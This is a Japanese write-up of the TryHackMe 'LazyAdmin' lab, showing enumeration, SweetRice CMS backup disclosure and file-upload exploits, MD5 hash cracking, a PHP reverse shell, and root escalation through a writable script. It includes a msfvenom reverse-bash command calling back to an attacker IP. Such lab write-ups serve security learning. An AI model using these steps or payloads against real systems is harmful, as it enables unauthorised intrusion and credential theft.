TryHackMe LazyAdmin writeup

Room: [LazyAdmin](https://tryhackme.com/room/lazyadmin)
Difficulty: Easy
Show: Free

CTF形式でマシン攻略しフラグを取得するタイプのRoomになります。
権限昇格がかなり簡単でしたのでEasyの中でも簡単な方のマシンかと思います。

# 列挙
nmapにてポートスキャンを行いました。
```nmap -v -A -sV 10.10.93.35```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/0edecd2a-3910-c8b6-3515-b91ec767fb1e.png)
上図の通り、80/tcp(http)のopenを確認しましたのでアクセスしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/23e217db-4af4-10b3-68b8-518d587042cb.png)
残念ながらドキュメントルートはApache2 Ubuntu Default Pageでしたので、さらに探索を行っていきます。

```gobuster```コマンドを使用して他のページがないか探索していきます。
```gobuster dir -u http://10.10.93.35/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/8bf81d6d-aa05-c040-e58a-ca73f8db96ad.png)
/contentを確認しましたのでアクセスしていきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/62d3e54c-523f-58ed-05b1-15c653961180.png)
ページ上の情報より、CMS(SweetRice)を使用していることがわかりました。
その他gobusterでは情報を取得できなかったので、CMS(SweetRice)に悪用可能な脆弱性がないかを```searchsploit```コマンドにて確認していきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/6d839722-e38a-b996-9dca-40c0538c9a6c.png)
上図の通り、いくつかのexploitコードがあることがわかりました。

この中で、マシン内に侵入するために有用そうだと考えたのが以下の二つです。
> SweetRice 1.5.1 - Arbitrary File Upload                                            | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure                                                | php/webapps/40718.txt

現状、SweetRiceのバージョンが取得できていないため、上記exploitが使用できるかはわかりませんが、中を確認していきます。
まずは、```searchsploit```コマンドでそれぞれのexploitを取得します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/6fb9bd28-e276-0812-37dc-3efc71f4ec50.png)

> SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py

上記のソースコードを確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/b2840ad4-791f-c664-0f3d-419939cf3346.png)
どうやら、ファイルアップロードを行うためにはユーザ名とパスワードが必要なようです。
また、exploitが成功した場合は拡張子が.php5のファイルをアップロードでき、当該ファイルはリモート(kali)からのアクセス可能なようですので、リバースシェルを取得することが出来そうです。

>SweetRice 1.5.1 - Backup Disclosure                                                | php/webapps/40718.txt

続いてもう片方のテキストファイルを確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/0276584d-a1b3-1aba-591e-b42dcfc9fec5.png)
こちらは、mysqlのバックアップファイルをダウンロードできてしまう脆弱性のようです。
脆弱性を悪用するにあたってはユーザ名やパスワードは必要なさそうですので```http://<IP>/content/inc/mysql_backup/```にアクセスし、実際にバックアップファイルが取得できるか確認していきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/5dc132e0-f150-7949-59dd-444bf4eb0fd8.png)
アクセスした結果、バックアップファイルの取得に成功しました。

取得したファイルの中を確認していきます。
```cat mysql_bakup_20191129023059-1.5.1.sql```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/b62df1ef-da5e-c429-2bdf-b84da1c783eb.png)
ユーザ名とパスワードらしきものを取得することができました。
パスワードはハッシュ化されているため、```hashcat```コマンドにて解読をしていきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/291b12e7-ae9d-020c-9017-d8699722e098.png)
```hashcat```コマンドはモードを指定しないと自動でハッシュモードを判定してくれます。
md4かmd5が怪しいです。

md5にて解読したところ、パスワードを取得することに成功しました。
```hashcat -m 0 -a 0 hash.txt rockyou.txt```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/acf04a3b-75bd-2a65-8831-fbccf03952bc.png)

ユーザ名、パスワードが取得できたので、前述のexploitを使用してリバースシェル用のペイロードをアップロードしていきます。
まずは、ペイロードの作成を行います。
作成にあたっては[こちらの](http://pentestmonkey.net/tools/php-reverse-shell)ペイロードを使用します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/81757750-fe85-7f55-bc09-4b5f1c33e18f.png)
「CHANGE THIS」の部分を自身のマシン情報に書き換えて、「shell.php5」として保存します。
> SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py

kali側で接続を待ち受け、上記exploitを実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/cd2ff03c-9a80-f3d3-702b-5c05af48c9c9.png)
アップロード後、ペイロードが配置されたパスへ```curl```コマンドを使用し、アクセスを行います。
その後、webサーバ権限のシェルを取得することが出来ました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/4791c199-2e84-234a-752f-909f0b298b99.png)

# 権限昇格
```sudo -l```にて許可されているコマンドを確認したところ、パスワード無しでroot権限で```/usr/bin/perl /home/itguy/backup.pl```を実行できることがわかりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/0a9c5e83-2f75-7971-c823-2320860d2be8.png)
/home/itguy/backup.plは/etc/copy.shを実行するスクリプトのようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/73bc71ce-347c-7128-9379-f3fd7f80f3c1.png)
また、```ls```コマンドにて、/etc/copy.shは現状の権限でも書き換えができることがわかりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/bed3e1f1-4312-ebaa-0fd5-659a34b5ddcb.png)
上記より、/etc/copy.shをリバースシェル用のペイロードに書き換え、root権限で```/usr/bin/perl /home/itguy/backup.pl```を実行したら、root権限のリバースシェルが取得できそうです。

まずは、/etc/copy.shをリバースシェル用のペイロードを作成します。
``` msfvenom -p cmd/unix/reverse_bash LHOST=10.9.6.236 LPORT=4445 -f raw```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/6a1f06ee-197b-0c52-b837-92655300dc23.png)
次に、作成したペイロードにて、現状のcopy.shを作成したペイロードに書き換えます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/113b31da-3a5e-6f0e-9227-c992f86c21be.png)
最後に、kaliで接続を待ち受け、root権限で/usr/bin/perl /home/itguy/backup.plを実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/75594302-084c-0db3-d43d-568ff4fef242.png)
無事、root権限のリバースシェルを取得することができました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/644015/e04617e6-51f9-7be3-7d67-3b0df3d7d7b7.png)